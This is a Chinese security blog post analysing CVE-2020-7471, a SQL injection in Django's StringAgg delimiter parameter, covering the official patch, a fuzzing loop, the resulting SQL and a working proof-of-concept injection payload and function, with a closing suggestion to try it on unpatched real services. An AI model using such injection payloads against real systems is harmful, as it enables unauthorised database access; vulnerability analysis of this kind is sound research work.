专栏首页黑白安全CVE-2020-7471 漏洞详细分析原理以及POC

CVE-2020-7471 漏洞详细分析原理以及POC

这几天疫情爆发,只能待在家里为社会多做些贡献,一天深夜无意逛安全资讯的时候发现最新的一个漏洞:CVE-2020-7471 Potential SQL injection via StringAgg(delimiter)。漏洞是 django 的,于是我将漏洞编号拿到 google 查找了一番,发现并没有找到任何关于这个漏洞的详细说明和利用 POC,于是我动手写下了这篇文章。

本文主要贡献:

  • 总结了该漏洞的起因和背景,并深入分析了官方的修复方案
  • 详细分析了 这个 SQL 漏洞,并给出利用姿势
  • 在本文公开自己搭建的漏洞环境和 POC

漏洞原因

摘录 CVE-2020-7471 对这个漏洞的描述:

Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 befor

e 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.

可以看见这个漏洞的核心是 StringAgg 聚合函数的 delimiter 参数存在 SQL 注入漏洞。但是很快,为什么存在漏洞?怎么利用这个漏洞?二个问题在我心中油然而生,好奇心驱使我继续往下探索:

官方修复

首先在 Github 仓库查找 django 的 commit 记录,在这里不难发现官方对其的修复:

https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136

从这里我们知道几个信息,漏洞函数位于下面的模块之中

from django.contrib.postgres.aggregates import StringAgg

官方对 delimiter 使用如下语句处理来防御 django

Value(str(delimiter))

为什么这种方式能防御呢?首先补充一个知识点,如果你熟悉 django 或者至少做过 django 渗透,你应该知道在 django 开发中编写查询操作的时候,正确的做法是用下面的代码段:

sql = "SELECT * FROM user_contacts WHERE username = %s"user = 'zhugedali'cursor.execute(sql, [user])

django会根据你所使用的数据库服务器(例如PostSQL或者MySQL)的转换规则,自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险:

sql = "SELECT * FROM user_contacts WHERE username = %s" % 'zhugedali'cursor.execute(sql)

那么回到正题,为什么 Value 函数可以解决 SQL 注入隐患,我们跟进 django 的源码查看:

注释写的非常清楚,Vlue处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。

到这里想必很多读者还是很好奇对于存在漏洞的版本我们如何去利用 SQL 漏洞呢?这就需要费点时间去搭建环境并从源码层面分析出 SQL 漏洞点的上下文语句情况。

漏洞利用

我搭建的环境如下:

  • django 3.0.2
  • postgres 10.11-3
  • python 3.6

搭建环境的时候注意 django 配置好 settings.py 文件,并初始化 postgres 的数据库和数据表,文末会提供环境。

首先研究一下 StringAgg 的用法,直接阅读官方手册:

https://docs.djangoproject.com/en/3.0/ref/contrib/postgres/aggregates/

django.contrib.postgres.aggregates 提供 postggres 的聚合函数,其中的 StringAgg 类的参数如下:

简单来讲他会将输入的值使用 delimiter 分隔符级联起来,Django 的 Model 类如何使用这个让我摸索了一会,我直接给出后面会提供的 POC 里面的示例:

Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-"))

这个查询操作就是查询 Info 对应的 postgres 数据表的 gender 列,并将 name 列使用横线连接聚合,输入如下:

为了测试出 delimiter 是如何导致SQL 注入的,我首先编写了一段 FUZZ 程序用于引发程序报错:

for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
    for e in results:
        pass

测试发现当 delimiter 是单引号的时候会导致报错:

从报错信息很明显看出单引号未经过任何转义嵌入到 SQL 语句中了。然后我们来追踪程序的内部找出完整的 SQL 语句上下文。

我们上面的查询语句调用了 self.cursor.execute,从变量窗口可以看到此时变量窗口的 sql 变量还没有嵌入 delimiter 的值。

在 86 行设置断点,再运行三次可以看到此时的 sql 已经加入了 delimiter 为单引号的取值:

这里的转义号是因为 sql 是个字符串,这行命令最终放入 postgres 中执行就变成了:

SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1

三个单引号那里会导致语法错误,并且我们将完整的 SQL 注入上下文环境得到了。在我的 POC 中我测试了 postgres 的注释符,即将 delimiter 设置为 ')--,报错如下:

很明显可以看到成功注释了 FROM 语句。为了构造合法的上下文语句我们将 delimiter 设置为:

'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '

传入之后发现,输出是:

{'gender': 'male', 'mydefinedname': 'li-zhao'}

如果只传入 delimiter = '-',输出如下:

{'gender': 'female', 'mydefinedname': 'zhang'}{'gender': 'male', 'mydefinedname': 'li-zhao'}

至此漏洞证明完毕

进一步,我们可以思考近期如果遇到真实环境中有 django 开发的服务返回一些查询的聚合内容,并且允许用户指定哪种连接符的时候,应该多加思考是否该服务未更新为最新版本,可以尝试这个 CVE 漏洞。

漏洞环境和 POC

https://github.com/Saferman/CVE-2020-7471

核心函数如下:

def query_with_evil():
    '''    注入点证明    分别设置delimiter为 单引号 二个单引号 二个双引号    尝试注释后面的内容 ')--    :return:    '''
    print("[+]正常的输出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入后的的输出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)

文由先知社区https://xz.aliyun.com/t/7218

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 漏洞评估指南 {Vulnerability Assessment}

    漏洞评估的四步指南 这是一个建议的四步法,使用任何自动或手动工具启动有效的漏洞评估流程。

    周俊辉
  • 鉴谈漏洞利用

    前言本来不想讲这个事情,但是因为很多小白对这方面可能不太了解,所以讲一讲,关于鉴定网络上流传漏洞poc或exp的方法,原因是这二天关于cve-2019-0708...

    周俊辉
  • VTest - 漏洞测试辅助系统

    VTest - 漏洞测试辅助系统用于辅助安全工程师漏洞挖掘、测试、复现,集合了mock、httplog、dns tools、xss,可用于测试各类无回显、无法直...

    周俊辉
  • 无法加载 DLL xpstar.dll 或它引用的一个 DLL。原因: 126(找不到指定的模块。)。

    需要复制数据库文件,把SQL服务停了,不使用脱机或者分离是觉得比较慢,结果就是再次重启服务后,SQL开始报错:

    _一级菜鸟
  • 通过canvas计算任意两个颜色的插值

    通过canvas可以协助我们做很多颜色计算的辅助,比如颜色转换,渐变颜色计算。本文着重讲解渐变计算颜色的插值计算。

    用户3158888
  • Wordpress4.2.3提权与SQL注入漏洞(CVE-2015-5623)分析

    这是我在TSRC实习期间的研究任务X号:http://security.tencent.com/index.php/blog/msg/93

    phith0n
  • 深扒SQL的历史,说点秘密给你听

    很多学SQL的朋友,或正在用SQL的朋友,都感觉到害怕,最近兴起的大数据,NoSQL会不会终结了SQL的命运,这帮只会SQL的朋友,怎么办?想学吧,又没精力,不...

    用户1564362
  • 双12淘宝速达一炮而红,淘宝如何深度赋能中小商家?

    淘宝双12刚刚落下帷幕,淘宝速达的登场成为亮点,这是淘宝持续创新赋能商家,在菜鸟网络和蜂鸟配送的协同支持下,将消费体验推向极致的又一次尝试。从双12成绩单来看,...

    罗超频道
  • 快速了解 Spring Boot 内嵌容器 Undertow

    1、简介 Undertow是一个非常轻量并高性能的web server,它来自 JBoss。支持blocking和non-blocking两种NIO API。 ...

    ImportSource
  • 指针与数组和函数的几个关系

    用户2929716

扫码关注云+社区

领取腾讯云代金券